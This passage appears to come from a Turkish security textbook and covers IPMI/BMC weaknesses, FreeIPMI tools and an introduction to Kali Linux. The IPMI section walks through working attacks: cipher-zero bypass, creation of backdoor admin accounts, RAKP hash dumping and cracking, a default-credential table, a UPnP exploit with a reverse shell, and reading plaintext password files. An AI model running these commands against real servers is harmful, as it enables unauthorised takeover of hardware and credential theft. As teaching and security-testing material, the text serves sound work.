non_null_user, null_user) PassAuth(password, md5, md2) Level(1.5, 2.0)<br />

[*] 10.0.0.4:623 IPMI-2.0 OEMID:21317 UserAuth(auth_msg, auth_user,<br />

non_null_user, null_user) PassAuth(password, md5, md2) Level(1.5, 2.0)<br />

[*] 10.0.0.135:623 IPMI-2.0 UserAuth(auth_user, non_null_user) PassAuth(password,<br />

md5, md2, null) Level(1.5, 2.0)<br />

[*] 10.0.0.249:623 IPMI-2.0 UserAuth(auth_user, non_null_user) PassAuth(password,<br />

md5, md2, null) Level(1.5, 2.0)<br />

[*] 10.0.0.252:623 IPMI-2.0 UserAuth(auth_user, non_null_user) PassAuth(password,<br />

md5, md2, null) Level(1.5, 2.0)


Kullanıcı adı ve Şifreler<br />

Bir çok sızma denemesi yapanların bildiği gibi ağ cihazlarına erişimin en<br />

kolay yolu her zaman varsayılan şifrelerle yapılan erişimdir. Aşağıdaki tablo<br />

bilinen bazı markalarda varsayılan BMC kullanıcı adı ve şifrelerini gösterir.<br />

Bunlarda yalnız HP rastgele şifre kullanır.<br />

Ürün Adı Varsayılan Kullanıcı Adı Varsayılan Şifre<br />

HP Integrated Lights Out (iLO)<br />

Dell Remote Access Card<br />

(iDRAC, DRAC)<br />

IBM Integrated Management<br />

Module (IMM)<br />

Fujitsu Integrated Remote<br />

Management Controller<br />

Administrator<br />

root<br />

USERID<br />

admin<br />

<br />

calvin<br />

PASWORD(bir sıfır<br />

ile)<br />

admin<br />

Supermicro IPMI (2.0) ADMIN ADMIN<br />

Oracle/Sun Integrated Lights Out<br />

Manager (ILOM<br />

root<br />

changeme<br />

ASUS iKVM BMC admin admin<br />

Kırılganlığı Çıkartma<br />

Belgenin bu bölümünde yer alan birçok kırılganlıklar Dan Farmer tarafından<br />

IPMI araştırmalarında belirlenmiştir. Daha sonraki araştırmalarda bulunan<br />

başka sonuçlara da yer verilmiştir.<br />

IPMI Şifre Denetimini Chiper 0 ile geçmek<br />

IPMI 2.0 özelliklerinde önemli bir hatayı Dan Farmer belirlemiştir. Özellikle<br />

“Chiper type 0” (Tip 0 şfreleme) istemcinin açık metin şifreleme istediğini<br />

gösteren bir belirticidir. Aslında bu seçim herhangi bir şifreyle girişe olanak<br />

tanır. HP', Dell ve Supermicro BMC'lerde “chiper 0” tanımlıdır. Tüm IPMI 2.0<br />

uyarlamalarında gereken komutla hangi sistemlerde “Chiper 0” olduğu<br />

Metasploit Framework ipmi_chiper_zero modülü ile kolaylıkla bulunabilir.


$ msfconsole<br />

=[ metasploit v4.7.0-dev [core:4.7 api:1.0]<br />

+ -- --=[ 1119 exploits - 638 auxiliary - 179 post<br />

+ -- --=[ 309 payloads - 30 encoders - 8 nops<br />

msf> use auxiliary/scanner/ipmi/ipmi_cipher_zero<br />

msf auxiliary(ipmi_cipher_zero) > set RHOSTS 10.0.0.0/24<br />

msf auxiliary(ipmi_cipher_zero) > run<br />

[*] Sending IPMI requests to 10.0.0.0->10.0.0.255 (256 hosts)<br />

[+] 10.0.0.99:623 VULNERABLE: Accepted a session open request for cipher zero<br />

[+] 10.0.0.132:623 VULNERABLE: Accepted a session open request for cipher zero<br />

[+] 10.0.0.141:623 VULNERABLE: Accepted a session open request for cipher zero<br />

[+] 10.0.0.153:623 VULNERABLE: Accepted a session open request for cipher zero<br />

Aşağıdaki örnek, standart “ipmitool” kullanarak komut satırından nasıl<br />

“chiper 0” sorununu açığa çıkartıldığını göstermektedir. Burada -C 0<br />

kullanılınca daha önce kabul edilmeyen komutun nasıl kullanıldığı<br />

izlenmelidir. Bu saldırı için geçerli bir kullanıcı adı gereklidir. Bu gerekçe hiç<br />

bir yerde de belirtilmez. Bir kez arka kapı hesabı açılınca, BMC ve onun<br />

sunucusuna istenilen sayıda saldırı olasıdır.<br />

$ ipmitool -I lanplus -H 10.0.0.99 -U Administrator -P FluffyWabbit user list<br />

Error: Unable to establish IPMI <strong>v2</strong> / RMCP+ session<br />

Get User Access command failed (channel 14, user 1)<br />

$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user<br />

list<br />

ID Name Callin Link Auth IPMI Msg Channel Priv Limit<br />

1 Administrator true false true ADMINISTRATOR<br />

2 (Empty User) true false false NO ACCESS


$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user<br />

set name 2 hdm<br />

$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user<br />

set password 2 password<br />

$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user<br />

priv 2 4<br />

$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user<br />

enable 2<br />

$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user<br />

list<br />

ID Name Callin Link Auth IPMI Msg Channel Priv Limit<br />

1 Administrator true false true ADMINISTRATOR<br />

2 hdm true false true ADMINISTRATOR<br />

$ ssh hdm@10.0.0.99<br />

hdm@10.0.0.99's password: password<br />

User:hdm logged-in to ILOMXQ3469216(10.0.0.99)<br />

iLO 4 Advanced Evaluation 1.13 at Nov 08 2012<br />

Server Name: host is unnamed<br />

Server Power: On<br />

hpiLO-><br />

IPMI 2.0 RAKP Şifre Denetimi Uzaktan Karışık Şifre Alma<br />

Sonradan Dan Farmer IPMI 2.0 ile daha büyük bir sorunu belirledi. IPMI 2.0<br />

şifre denetimi, istemcide henüz şifre denetimi yapmadan, sunucunun<br />

anahtar sözcüklü SHA1 ya da MD5 karışımını göndermesini zorunlu kıldığını<br />

belirledi. Doğru duydunuz, BMC geçerli her kullanıcı için karıştırılmış şifresini<br />

gönderir. Kaba kuvvet kullanarak bu şifre çevirim dışı ya da sözlük<br />

kullanılarak kolaylıkla kırılır. Bu IPMI özelliklerinin anahtar bölümü<br />

olduğundan kısa zamanda çözülmesi olası değil gibidir. Metasploit<br />

Framework içindeki ipmi_dumphashes modülü bir çok BMC'de kısa süren<br />

işlemlerle sonuca ulaşır.<br />

$ msfconsole<br />

=[ metasploit v4.7.0-dev [core:4.7 api:1.0]<br />

+ -- --=[ 1119 exploits - 638 auxiliary - 179 post<br />

+ -- --=[ 309 payloads - 30 encoders - 8 nops


msf> use auxiliary/scanner/ipmi/ipmi_dumphashes<br />

msf auxiliary(ipmi_dumphashes) > set RHOSTS 10.0.0.0/24<br />

msf auxiliary(ipmi_dumphashes) > set THREADS 256<br />

msf auxiliary(ipmi_dumphashes) > run<br />

[+] 10.0.0.59<br />

root:266ead5921000000....000000000000000000000000000000001404726f6f74:ea<br />

f2bd6a5 3ee18e3b2dfa36cc368ef3a4af18e8b<br />

[+] 10.0.0.59 Hash for user 'root' matches password 'calvin'<br />

[+] 10.0.0.59 :<br />

408ee18714000000d9cc....000000000000000000000000000000001400:93503c1b7<br />

af26abee 34904f54f26e64d580c050e<br />

[+] 10.0.0.59 Hash for user '' matches password 'admin'<br />

Yukarıdaki örnekte, modül iki geçerli kullanıcı adı belirlemiş (root ve boşluk) ve<br />

sha1 karışık şifrelerini de almıştır. Otomatik kırma işlemiyle kelime listesinden<br />

şifreleri çözmüştür. Eğer veri tabanı bağlanmış olursa, Metasploit gelecekte<br />

kullanılmak üzere otomatik olarak karışık şifreleri ve çözümlerini veri tabanına<br />

ekler. Eğer yerel sözlükte şifre bulunmazsa, dışarıdan sağlanan bir programla şifre<br />

kırılır. Aşağıdaki örnekte “John the Ripper” ve “Hashcat” için bilginin nasıl<br />

yazılacağı gösterilmiştir.<br />

msf auxiliary(ipmi_dumphashes) > set RHOSTS 10.0.1.0/24<br />

msf auxiliary(ipmi_dumphashes) > set THREADS 256<br />

msf auxiliary(ipmi_dumphashes) > set OUTPUT_JOHN_FILE out.john<br />

msf auxiliary(ipmi_dumphashes) > set OUTPUT_HASHCAT_FILE out.hashcat<br />

msf auxiliary(ipmi_dumphashes) > run<br />

[+] 10.0.1.100<br />

root:ee33c2e02700000....000000000000000000000000000000001404726f6f74:8c5<br />

76f6532 356cc342591204f41cc4eab7da6e8a<br />

Hashcat'in ana geliştiricisi Atom'a çok teşekkürler. Sürüm 0.46 ya da üstü RAKP<br />

karışık şifrelerini çözmektedir. Özellikleri aldıktan iki saat sonra sorunu çözdüğünü<br />

bildirmekte yarar vardır. Aşağıdaki örnekte RAKP konumunda (7300) “hashcat”<br />

kullanarak bir kaç saniyede 4 harflik şifreyi kaba kuvvetle çözdük.<br />

./hashcat-cli64.bin --username -m 7300 out.hashcat -a 3 ?a?a?a?a<br />

Initializing hashcat v0.46 by atom with 8 threads and 32mb segment-size...


Added hashes from file out.hashcat: 1 (1 salts)<br />

[ ... ]<br />

Input.Mode: Mask (?a?a?a)<br />

Index.....: 0/1 (segment), 857375 (words), 0 (bytes)<br />

Recovered.: 0/1 hashes, 0/1 salts<br />

Speed/sec.: - plains, - words<br />

Progress..: 857375/857375 (100.00%)<br />

Running...: --:--:--:--<br />

Estimated.: --:--:--:--<br />

ee33c2e0270000....000000000000000000000000000000001404726f6f74:8c576f65<br />

32356cc34 2591204f41cc4eab7da6e8a:taco<br />

Yukarıdaki tüm karışık şifreler düzeltilmiştir.<br />

John the Ripper'in “bleeding-jumbo” dalındaki Dhiru Kholia'ya teşekkürler.<br />

RAKP kırmayı destekliyorlar. Bilgisayarınızda “git” kurulu olduğuna emin olun<br />

ve “John the Ripper” derleyin:<br />

$ git clone https://github.com/magnumripper/JohnTheRipper.git<br />

$ cd JohnTheRipper<br />

$ git checkout bleeding-jumbo<br />

$ cd src<br />

$ make linux-x86-64<br />

$ cd ../run<br />

$ ./john --fork=8 --incremental:alpha --format=rakp ./out.john<br />

Loaded 1 password hash (RAKP [IPMI 2.0 RAKP (RMCP+) HMAC-SHA1 32/64<br />

OpenSSL])<br />

Press 'q' or Ctrl-C to abort, almost any other key for status<br />

taco<br />

(10.0.1.100 root)


IPMI Anonymous (Adsız) Şifre Denetimi<br />

Yukarıdaki şifre problemlerine ek olarak, Dan Farmer BMC'lerin “anonymous”<br />

erişime açık olarak gönderildiklerini buldu. Bu yapılandırmada ilk kullanıcı<br />

adının boş dizi ve şifresinin de boşluk olmasıyla anlaşıldı. ipmi_dumphashes<br />

modülü şifre karışımını bulur ve döker (boşluk şifresi de dahildir). Yalnız<br />

başına bu kullanıcı hesabını kullanmak zordur ama “ipmitool” yardımıyla<br />

adlandırılmış bir kullanıcı hesabının şifresini “reset” (yenilemek) diğer<br />

servislere erişmek için yapılabilecek bir işlemdir.<br />

$ ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list<br />

ID Name Callin Link Auth IPMI Msg Channel Priv Limit<br />

1 false false true ADMINISTRATOR<br />

2 root false false true ADMINISTRATOR<br />

3 admin true true true ADMINISTRATOR<br />

$ ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 password<br />

Bu noktada BMC'ye root şifresiyle SSH üzerinden giriş yapabiliriz.<br />

$ ssh root@10.0.0.97<br />

root@10.0.0.97's password: password<br />

>> SMASH-CLP Console v1.09 <br />

Supermicro IPMI UPnP Kırılganlığı<br />

Supermicro'nun UDP 1900 kapısında IPMI Framework altında bir çok ana kart<br />

için UPnP SSDP dinleyicisi vardır. SMT_X9_218 öncesi sürümler için bu servis<br />

UPnP cihazlarının 1.3.1 sürümünde Inter SDK ile çalışır. Bu sürüm Rapid7'nin<br />

Şubat 2013 kırılm açıklamsına göre Metasploit Framework içindedir. Bu<br />

saldırıya ilişkin en ilginç olan BMC'ye root yetkisiyle erişilmesidir. Bunun<br />

anlamı Yönetici yetkisi olan bir saldırganın tüm ağ üzerinde ya da sunucu<br />

sistemi üzerinde root kabuğuyla çalışmasıdır. Böylece saldırgan Supermicro<br />

BMC sürümünü aşağıya, kırılabilen bir düzeye çeker . Biz kez root erişimi<br />

sağlanınca, açık metin kullanıcı adları dosya sisteminden alınabilir, ek<br />

yazılımlar yüklenebilir ve işletim sistemi yeniden yükleninceye kadar<br />

değişmeyecek arka kapılar BMC'ye eklenebilir.


$ msfconsole<br />

=[ metasploit v4.7.0-dev [core:4.7 api:1.0]<br />

+ -- --=[ 1119 exploits - 638 auxiliary - 179 post<br />

+ -- --=[ 309 payloads - 30 encoders - 8 nops<br />

msf> use exploit/multi/upnp/libupnp_ssdp_overflow<br />

msf exploit(libupnp_ssdp_overflow) > set RHOST 10.0.0.98<br />

msf exploit(libupnp_ssdp_overflow) > set LHOST 10.0.0.55<br />

msf exploit(libupnp_ssdp_overflow) > set PAYLOAD cmd/unix/reverse_openssl<br />

msf exploit(libupnp_ssdp_overflow) > exploit<br />

[*] Started reverse double handler<br />

[*] Exploiting 10.0.0.98 with target 'Supermicro Onboard IPMI (X9SCL/X9SCM) Intel<br />

SDK 1.3.1' with 2106 bytes to port 1900...<br />

[+] Sending payload of 182 bytes to 10.0.0.98:4259...<br />

[*] Command shell session 1 opened (10.0.0.55:4444 -> 10.0.0.98:3688) at 2013-<br />

06-24 13:35:24 -0500<br />

[*] Shutting down payload stager listener...<br />

uname -a<br />

Linux (none) 2.6.17.WB_WPCM450.1.3 #1 Wed Nov 14 10:33:10 PST 2012 armv5tejl<br />

unknown<br />

Supermicro IPMI Açık Metin Şifreleri<br />

IPMI 2.0 özelliklerine göre HMAC tabanlı şifre denetimine BMC yanıtı SHA1 ve<br />

MD5 olmalıdır. Bu şifre denetiminin çok açık zayıflıkları vardır (önceki<br />

örnekte gösterildi). Ama açık metin şifrelere erişime de gereksinimi vardır.<br />

Bununla şifre denetimi karışımını hesaplaması gerekir. BMC açık metin<br />

şifrelerini kaybolmayan bellekte saklar. Supermicro'da üretene göre bu<br />

dosyanın yeri değişir. Ama genelde açık metin şifre /nv/PSBlock ya da<br />

/nv/PSStore dosyalarında saklanır. Şifreler çeşitli ikili kabarcıklar arasına<br />

dağıtılmıştır ama bulmak kolaydır. Çünkü her zaman kullanıcı adını izlerler.<br />

BMC ve diğer cihazlarla aynı şifreyi kullanan üreticiler için bu önemli bir<br />

sorundur.<br />

$ cat /nv/PSBlock<br />

admin ADMINpassword^TT rootOtherPassword!


BMC'den Sunucuyu açma<br />

Bir kez BMC'ye yönetici olarak erişim sağlandıktan sonra, sunucu işletim<br />

sistemine erişmek için bir kaç yöntem kullanılabilir. En sıradan olanı,<br />

BMC'nin KVM işlevini kırıp sunucuyu root kabuğuna düşürmek için yeniden<br />

başlatmak (GRUB içinde init=/usr/bin/sh) ya da kurtarma diski olarak sanal<br />

bir CD-ROM tanımlamak ve sisyemi ondan başlatmaktır. Bir kez sunucunun<br />

diskine ham erişim sağlandı mı arka kapıdan girmek ve diskten veriyi<br />

kopyalamak ya da güvenlikle ilgili herhangi uygun bir şeyi yapmak kolay<br />

olur. Bu yöntemin en kötü tarafı sunucunun yeniden başlatılıyor olmasıdır.<br />

Eğer sunucunun fiziksel konsolu kullanıcı “login” yapmış olarak duruyorsa o<br />

zaman var olan KVM işleviyle o kullanıcıya erişmek kolay olur. Aynı şey seri<br />

konsollar için de geçerlidir. Eğer seri kapıda şifre denetimi yapılmış bir<br />

bağlantı varsa, ipmitool arayüzüyle BMC bu kapının kırılmasına yardımcı<br />

olabilir. Paylaşılan donanıma erişim, hala araştırılması gereken bir durumdur.<br />

Aynı i2c ve Super I/O yongası gibi...<br />

Sunucudan BMC'ye Erişmek


BMC'li sunucunun en tehlikeli olduğu durum; BMC'ye geçmek için yerel<br />

arayüzü arka kapıdan girecek kullanıcı hesabı yaratmak için kullanılmasıdır.<br />

Daha sonra buradan sunucuya sürekli geçiş sağlanır. Bu saldırı için<br />

sunucuda ipmitool kurulu olmalıdır. Sürücüler de BMC destekleyecek<br />

biçimde olmalıdır. Aşağıdaki örnek sunucudaki yerel arayüz (şifre denetimi<br />

gerekmeden) BMC'ye nasıl yeni bir kullanıcı hesabı ekleyebildiği<br />

gösterilmiştir. Bu yöntem Linux, Windows, BSD ve hatta DOS hedefleri için<br />

aynıdır, değişmez.<br />

root@rcon:~# ipmitool user list<br />

ID Name Callin Link Auth IPMI Msg Channel Priv Limit<br />

2 ADMIN true false false Unknown (0x00)<br />

3 root true false false Unknown (0x00)<br />

root@rcon:~# ipmitool user set name 4 backdoor<br />

root@rcon:~# ipmitool user set password 4 backdoor<br />

root@rcon:~# ipmitool user priv 4 4<br />

root@rcon:~# ipmitool user list<br />

ID Name Callin Link Auth IPMI Msg Channel Priv Limit<br />

2 ADMIN true false false Unknown (0x00)<br />

3 root true false false Unknown (0x00)<br />

4 backdoor true false true ADMINISTRATOR<br />

Özet<br />

Burada anlatılanlar yakın zaman kadar pek bilinmeyen, yayımlanmayan<br />

konulardı. IPMI protokolündeki kırılganlığa ek olarak, bir çok BMC de gömülü<br />

cihazların içinde ortak olan sorunlarla doludur. Örneğin varsayılan şifreler ve<br />

değişmeyen şifreleme anahtarları. Bu nedenle BMC dünyası yakın zamanda<br />

düzeltilemeyecek bir karmaşa içindedir. Bilmemiz gereken cihazlarımızın ve<br />

ağlarımızın pek güvende olmadığıdır.


FreeIPMI<br />

FreeIPMI programı IPMI yazılımına uygun giriş ve çıkış komutlarını destekler. IPMI<br />

protokolü platform ve sistem yönetimini sağlayan tanımlardan oluşur. En önemli<br />

konular sensör izleme, sistem olaylarını izleme, güç denetimi ve yerel ağ<br />

üzerindeki seri işlemler olarak özetlenebilir. Aşağıdaki araçlar ve kitaplıklar bu<br />

işlemleri ve daha bir çoğunu anlatır.<br />

Büyük HPC'ler için çevresel izleme ve inceleme araçları da bu pakete eklenmiştir.<br />

Ayrıntılar için http://www.gnu.org/software/freeipmi/documentation.html adresine<br />

bakılabilir.<br />

Proje Araçları<br />

Bmc-info<br />

Cihaz sürüm no, cihaz destek ve geniş anlamdaki tanıtım kodları gibi<br />

BMC bilgilerini okumak için kullanılan bir araçtır.<br />

Bnc-config<br />

Genel anlamda BMC ve IPMI bilgileri ayarlarını yapmak için kullanılan<br />

bir araçtır. Kullanıcı adlarının ayarları, şifreler, ağ bilgileri ve güvenlik<br />

konularını, yerel ağ üzerinde seri işlemleri ve diğer konuları destekler<br />

(Bakınız Ek-4)<br />

Bnc-watchdog<br />

BMC izleme işlemini yapan araç ya da arka plan programıdır. Bu araç<br />

sistemin zaman aşımında yapacaklarını düzenleme ve yönetme<br />

konularını içerir. Sistemin sorunla karşılaştığında yapılacak otomatik<br />

işlemleri tanımlar.<br />

Ipmi-chassis<br />

Şasi işlemlerini (güç ve tanıtım kodu, LED gibi) kontrol eden bir araçtır.<br />

Ipmi-fru<br />

Ana karttaki alanla değiştirilebilen bilgileri okuyabilmek için kullanılan<br />

bir araçtır.


Ipmi-sel<br />

IPMI Sistem olay kayıtlarını okuyabilmek için kullanılan bir araçtır.<br />

Sistem olay kayıtları sorunları çözmek için kullanılabilir.<br />

Ipmi-sensors<br />

IPMI sensör okumalarını ve veri depolarını okuyabilmek için kullanılan<br />

bir araçtır.<br />

Ipmipower<br />

Uzaktan güç kontrolü yapmak için kullanılan bir araçtır.<br />

Ipmiconsole<br />

Yerel ağ üzerinden seri bağlantı ile konsol erişimi için kullanılan bir<br />

araçtır.<br />

Ipmi-raw<br />

IPMI komutlarının onaltılı çıktısını sağlayan bir araçtır.<br />

Ipmi-locate<br />

BMC cihazı hakkında bilgiye erişebilen bir araçtır. Örneğin desteklenen<br />

IPMI sürümünün numarası bu bilgilerden biridir.<br />

Ipmi-pef-config<br />

Platform olay elemesi bilgilerinin (PEF) ayarlarını yapmak için bir<br />

araçtır.<br />

Ipmi-pet<br />

Platform olay tuzaklarını taramak ve yorumlamak için bir araçtır.<br />

Ipmi-chassis-config<br />

IPMI şaşi bilgilerini ayarlamak için bir araçtır. Sistemin başlatılacağı<br />

cihaz, güç yükleme politikası ve diğer şasi işlemlerine ait ayarlar için<br />

kullanılır.


Ipmi-sensors-config<br />

IPMI sensörlerini ayarlamak için kullanılır. Sensör alt sınırlarını, sensör<br />

olaylarını ve diğer sensöre bağlı işlemlerin ayarlarını yapar.<br />

Ipmi-dcmi<br />

Veri merkezi yönetilebilir arayüzü (DCMI) işlemlerini yapan bir araçtır.<br />

Kaynak yönetimi ve güç yönetimiyle ilgili uzantıları destekler.<br />

Bmc-device<br />

Gelişmiş BMC komutlarını yapan bir araçtır. BMC değerlerini yenilemek<br />

(reset) ACPI ayarlamak, SDR/SEL zamanını ayarlamak, olayları elle<br />

yaratmak ve fabrika ayarlarını düzenlemek burada yapılabilen<br />

işlemlerdir.<br />

Ipmiping<br />

IPMI ping aracı program denemelerinde, hata düzeltmede kullanılır.<br />

Rmcpping<br />

RMCP ping aracı da program düzeltme sırasında kullanılır.<br />

Ipmi-oem<br />

OEM'e özel komutlar için kullanılır.<br />

Ipmidetec/Ipmidetectd<br />

IPMI düğüm yakalamak için kullanılan arka plan programı ya da<br />

aracıdır.<br />

Ipmiseld<br />

Bu arka plan program sürekli SEL'i sorgular ve olayları yerel sistem<br />

kayıtlarına ekler.


Proje Kitaplıkları<br />

Libfreeipmi<br />

KCS,SSIF ve OpenIPMI Linux, Solaris BMC sürücüleri, IPMI 1.5 ve IPMI<br />

2.0 LAN iletişim arayüzlerini içeren bir C kitaplığıdır. IPMI<br />

okumak/yönetmek için kullanılan IPMI paket oluşturma programları,<br />

IPMI komut programları bu kitaplıktan yararlanır.<br />

Libipmiconsole<br />

Yerel ağ üzerinden seri bağlantı ile SOL konsol erişimi için kullanılan<br />

kitaplıktır.<br />

Libipmimonitoring<br />

Sensör izleme ve yorumlama için kullanılan bir kitaplıktır. Arayüz türü<br />

ile kullanıcı programlarının oluşmasını sağlar.<br />

Libipmidetect<br />

IPMI düğüm yakalama için kullanılan bir kitaplıktır.<br />

Ayrıntılı IPMI komut ve araçları için Ek-5'e bakınız.


BÖLÜM 7<br />

SALDIRGAN KORUNMA<br />

(KALI LINUX)<br />

Bu konuda http://www.offensive-security.com/ sitesi “Endüstrinin en gerçekçi<br />

sızma testleri Kali-linux ile yapılmaktadır” diye başlıyor. Hatta bu konuda eğitim ve<br />

sertifika bile veriyorlar. Eğitimi alan kişilerin gerçek sızma ortamının derinliklerine<br />

ineceklerini söylüyorlar. Burada saldırgan güvenlik ya da korunma adıyla verilen<br />

hizmet, yüzeysel de olsa, okuyanların bilgisine sunulmaktadır.<br />

BackTrack Linux üzerinde yapılan yedi yıllık çalışma sonunda sızma testlerine<br />

uygun bir linuz dağılımının nasıl yapılacağı deneyimlerle öğrenilmişti.<br />

Eğitim konularına bakıldığında bir ağa ya da <strong>bilgisayar</strong>a yapılacak saldırılarda ne<br />

kadar korunabildiğinin ayrıntılarıyla denetlendiği görülür. Konular başlık olarak<br />

şöyle sıralanabilir:<br />

Kali Linux ile sızma denemeleri:<br />

Ağ yöneticileri ve güvenlik uzmanlarını ilgilendirir. Son “hack” araçlarıyla ve<br />

benzetimleriyle donatılmıştır.<br />

Metasploit sınırlamalarını kaldırma:<br />

Burada tanınmış metasploit iskeletinin eksiklerinin nasıl giderildiği işlenir.<br />

Metasploit'in açık kaynak kod özelliğini bozmadan burada eklenen kodlar<br />

ücretsiz eklenebilir.<br />

Kablosuz saldırlar:<br />

Değişik yapılardaki kablosuz ağlarda etkin saldırının nasıl yapılacağı anlatılır.<br />

Nasıl saldırıldığını bilen yöneticiler en iyi nasıl korunmaları gerektiğini de<br />

çözerler.<br />

Çevreyi kırmak/delmek<br />

Bu iş sızmanın tüm kazançlarını kullanmaktır. Sızma denemeleri sırasında<br />

karşılaşılan sorunlar ele alınır. Bugünkü saldırganların elindekileri nasıl<br />

kullandıkları anlatılır.


Gelişmiş Windows gediklerinden yararlanma<br />

Bir çok gelişmiş konuyu içerir. DEP ve ASLR kaytarmaları (avasion), tepe<br />

noktası dağılması (heap spraying), işlev göstergelerini yenileme (function<br />

pointer overwrite), tampon alan sınırlamaları (buffer space limitations) gibi<br />

Windows gediklerinden yayarlanma ve elle yapılan kabuk kodlardan oluşur.<br />

Gelişmiş Web saldırıları<br />

Gelişmiş Web saldırıları ve gediklerden yararlanma, web uygulamalarının<br />

içine sızmanın nasıl olacağını anlatır. Akıl almaz XSS saldırılarından, yarışma<br />

koşullarındaki gedikleri çıkartma ve gelişmiş SQL ekleme saldırılarına kadar<br />

her tür yöntem anlatılır. Böylece bugünkü Web yazılımlarında korunmanın<br />

nasıl yapılacağı belirlenmiş olur.<br />

Burada sözü edilen eğitimlerin ayrıntıları ilgili siteden sağlanabilir. Hatta bazı<br />

dersler online verildiğinden kayıt yaptırma olanağı da vardır. Burada Kali Linux<br />

hakkında öğrenilenleri anlatılacaktır.<br />

GİRİŞ<br />

Kali Linux Nedir<br />

Kali Linux gelişmiş sızma denemeleri ve güvenlik denetimi dağıtımıdır.<br />

Debian kökenli BackTrack Linux sisteminin yeniden yazılmasıyla oluşmuştur.<br />

300'den çok sızma denemesi:<br />

BackTrack'da var olan ve çalışmayan araçlarla aynı sonucu<br />

üretenler kaldırıldı.<br />

Ücretsizdir:<br />

Kali Linuz ücretsizdir<br />

Açık Kaynak Git ağacı:<br />

Açık kaynak kodu desteklediklerinden tüm ürünlerin kaynak<br />

kodları Git ağacı biçimindedir.<br />

FHS Uyumludur:<br />

Kali Linux FHS (File Hierarcy Standard) uyumludur. Her linux<br />

kullanıcısı ağaç içinde ekleme yapabilir.<br />

Kablosuz ağ desteği<br />

Olabildiğince çok kablosuz ağı desteklemesi sağlanmaya<br />

çalışılmıştır.<br />

Kernel üzerinde son eklemelerin işlenmesi<br />

Sızanlar yeni kablosuz ağ yazılımları eklemek isteyeceklerinden


kernel her zaman son eklentileri işlenmiş biçimdedir.<br />

Güvenli Geliştirme Ortamı<br />

Geliştiriciler güvenilir olup yalnız depolara yazılım yüklerler.<br />

GPG imzalı paketler ve depolar:<br />

Her geliştirici kodunu imzalar, derler ve depolara da imzalayarak<br />

taşır.<br />

Çoklu Dil kullanımı<br />

İngilizcedir ama daha çok kullanıcının kendi dilini kullanması için<br />

birden çok dile olanak tanır.<br />

Tümüyle Kişiselleştirilebilir<br />

Herkesin bu tasarımı beğenmeyeceği düşünülerek, herkesin<br />

isteyebildiği değişikliği yapabilmesine olanak tanıyacak<br />

kolaylıklar eklenmiştir.<br />

ARMEL ve ARMHF desteği<br />

ARM tabanlı sistemler ucuzladıkça, Kali'nin ARM desteği<br />

yapılabildiğince kusursuz olmalıdır. Şu anda Kali aşağıdaki ARM<br />

cihazlarında kullanılabilmektedir:<br />

rk3306 mk/ss808<br />

Raspberry Pi<br />

ODROID U3/X2<br />

Samsung Chromebook<br />

Efika MX<br />

Beaglebone Black<br />

CuBox<br />

Galaxy Note 10.1<br />

Kali Linux Kullanılabilir mi<br />

Sızma denemeleri ve güvenlik denetimi için düzenlenmiş olduğundan<br />

gereksinime göre aşağıdakiler eklenmiştir.<br />

Tek kullanıcılı root erişimlidir: Sızma ve güvenlik denetiminde yetkili<br />

kullanıcının işlem yapması gerekir.<br />

Varsayılan olarak ağ hizmetleri “hizmet dışıdır”. Böylece Kali değişik


hizmetlere erişip kullanabilir ve ilk dağıtım bozulmamış olur.<br />

Kişiselleştirilebilen Linux Sunucu: Kali kablosuz ağ için yamanmış<br />

yukarıya dönük kernel kullanır.<br />

Kali sızma ve güvenlik amaçlı hazırlanmış bir Linux olduğundan normal linux<br />

gibi kullanılmaz.<br />

Kali Linux kullanıcı adı ve şifresi<br />

Varsayılan olarak root kullanıcısı şifresi “toor” olarak tanımlanmıştır.<br />

KALİ İNDİRME<br />

İndirilecek Kali sürümleri<br />

Kali Linux başlatılabilen 32 ve 64 bitlik ISO dosyaları biçimindedir.<br />

Kali VMWare araçlarıyla kullanılabilecek biçimdedir.<br />

Kali “ARM image” biçimdedir.<br />

İndirilen dosyalarda SHA1 denetimi yapılmalıdır. Dosyalar aşağıdaki gibi<br />

indirilir:<br />

$ wget -q -O - http://archive.kali.org/archive-key.asc | gpg --import<br />

# or<br />

$ gpg --keyserver subkeys.pgp.net --recv-key 44C6513A8E4FB3D30875F758ED444FF07D8D0BF6<br />

$ gpg --verify SHA1SUMS.gpg SHA1SUMS<br />

gpg: Signature made Thu Mar 7 21:26:40 2013 CET using RSA key ID 7D8D0BF6<br />

gpg: Good signature from "Kali Linux Repository "<br />

Linux için SHA1 denetimi<br />

$ sha1sum kali-linux-1.0-i386.iso<br />

796e32f51d1bf51e838499c326c71a1c952cc052 kali-linux-1.0-i386.iso<br />

$ grep kali-linux-1.0-i386.iso SHA1SUMS<br />

796e32f51d1bf51e838499c326c71a1c952cc052 kali-linux-1.0-i386.iso<br />

grep kali-linux-1.0-i386.iso SHA1SUMS | sha1sum -c<br />

kali-linux-1.0-i386.iso: OK<br />

OSX için SHA1 denetimi<br />

$ shasum kali-linux-1.0-i386.iso<br />

796e32f51d1bf51e838499c326c71a1c952cc052 kali-linux-1.0-i386.iso<br />

$ grep kali-linux-1.0-i386.iso SHA1SUMS<br />

796e32f51d1bf51e838499c326c71a1c952cc052 kali-linux-1.0-i386.iso<br />

Windows ortamında SHA1 denetimi yoktur. Dışarıdan yazıım yükleyip denetim yapılabilir.


Canlı Kali ISO dosyası üretmek<br />

Eğer bir Kali ortamınız varsa oradan yensini üretebilirsiniz ama yoksa<br />

aşağıdaki adımları izlemek gerekir:<br />

apt-get install git live-build cdebootstrap kali-archive-keyring<br />

git clone git://git.kali.org/live-build-config.git<br />

cd live-build-config<br />

lb config<br />

config/package-lists/kali.list.chroot dosyası Kali ISO içine alınacak paketleri belirler. Özel<br />

paketlerin yüklenmesi istenebilir. Burada Kali masaüstü ortamı değiştirilebilir (KDE, Gnome,<br />

XFCE, LXDE gib)<br />

hooks/ Canlı Kali ISO üretilirken kullanılacak kodlar buaraya konabilir.<br />

$ cat config/hooks/forensic-menu.binary<br />

#!/bin/sh<br />

